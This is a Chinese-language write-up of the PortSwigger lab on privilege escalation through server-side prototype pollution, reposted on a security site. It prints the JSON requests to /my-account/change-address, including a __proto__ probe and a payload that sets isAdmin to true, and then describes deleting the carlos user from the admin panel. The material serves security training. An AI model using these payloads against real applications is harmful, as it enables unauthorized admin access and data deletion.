burp练兵场 | 污染属性反射检测服务器端原型污染

admin 2024年10月7日18:41:24评论20 views字数 2228阅读7分25秒阅读模式

本文由掌控安全学院 - 杳若投稿

?通过服务器端原型污染提升权限

Lab: Privilege escalation via server-side prototype pollution

?必要知识点

开发人员很容易陷入的一个陷阱是忘记或忽略 JavaScript 循环迭代对象的所有可枚举属性这一事实,包括它通过原型链继承的属性。
利用POSTPUT方法向应用程序或API提交JSON数据处容易存在该类漏洞。如果应用程序在发送JSON数据后在响应中包含返回的属性,可以尝试使用任意属性污染全局来探测该漏洞是否存在。

? 实验室要求

本练习基于 Node.js 和 Express 框架构建。它容易受到服务器端原型污染的影响,因为它不安全地将用户可控制的输入合并到服务器端 JavaScript 对象中。这很容易检测,因为通过原型链继承的任何污染属性在 HTTP 响应中都是可见的。
要解决实验室问题,请执行以下操作:

  1. 查找可用于全局Object.prototype
  2. 确定可用于提升权限的小工具属性。
  3. 访问管理面板并删除carlos用户 。
    您可以使用以下凭据登录到自己的帐户:wiener:peter

⚡️黑盒测试

● 首先访问对应的靶场界面

  1. https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution

● 启动靶场

1. 分析功能点

这是一个购物SHOP的网站,存在登录以及查看商品信息的功能点。
利用对应的账号密码wiener:peter进行登录

burp练兵场 | 污染属性反射检测服务器端原型污染

登录之后存在填写收获地址的功能点,较为符合购物网站的逻辑。

2.查看历史记录

我们查看对应的burp历史记录
令人感兴趣的功能点是最后点击地址的时候,发现存在一处isAdmin
对于渗透测试人员来说,存在Admin类的内容是需要重点关注的

burp练兵场 | 污染属性反射检测服务器端原型污染

3.功能点探究

点击提交表单之后,字段中的数据将会作为json发送到服务器端(一共五个参数)

  1. POST /my-account/change-address
  2. {"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L"}

服务器对于接受到的数据会进行响应,响应的内容似乎就是我自己这个用户
相比较而言,多了username firstname lastname isAdmin的参数

  1. HTTP/1.1200 OK
  2. {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}
4.原型污染尝试

因为在该处功能点之中是以POST请求提交了JSON参数,并且在回显的响应中包含了返回的属性,因此进行服务器端原型污染的探测。
构造注入响应 __proto__

  1. POST /my-account/change-address
  2. {"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
  3. "__proto__":{
  4. "foo":"bar"
  5. }
  6. }

利用burp的重放模块发现存在服务器端原型污染漏洞
判定该网站易受攻击,注入的属性将出现在响应的更新对象中

burp练兵场 | 污染属性反射检测服务器端原型污染

5.漏洞利用

确定可以服务器端原型污染的问题之后,我们可以利用这个问题扩大战果
isAdmin参数为false就很像越权问题,尝试构造权限提升 false->true

  1. POST /my-account/change-address
  2. {"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
  3. "__proto__":{
  4. "isAdmin":"true"
  5. }
  6. }

发送请求之后,发现响应进行了更新。
表明isAdmin对象没有自己的属性,而是从受污染的原型继承了它。

burp练兵场 | 污染属性反射检测服务器端原型污染

通常权限提升之后,我们就可以看到更多的内容,访问个人用户发现多了一个功能点Admin panel

burp练兵场 | 污染属性反射检测服务器端原型污染

点击删除carlos用户

burp练兵场 | 污染属性反射检测服务器端原型污染

完成实验

burp练兵场 | 污染属性反射检测服务器端原型污染

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

burp练兵场 | 污染属性反射检测服务器端原型污染

 

原文始发于微信公众号(掌控安全EDU):burp练兵场 | 污染属性反射检测服务器端原型污染

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日18:41:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   burp练兵场 | 污染属性反射检测服务器端原型污染https://cn-sec.com/archives/1967101.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息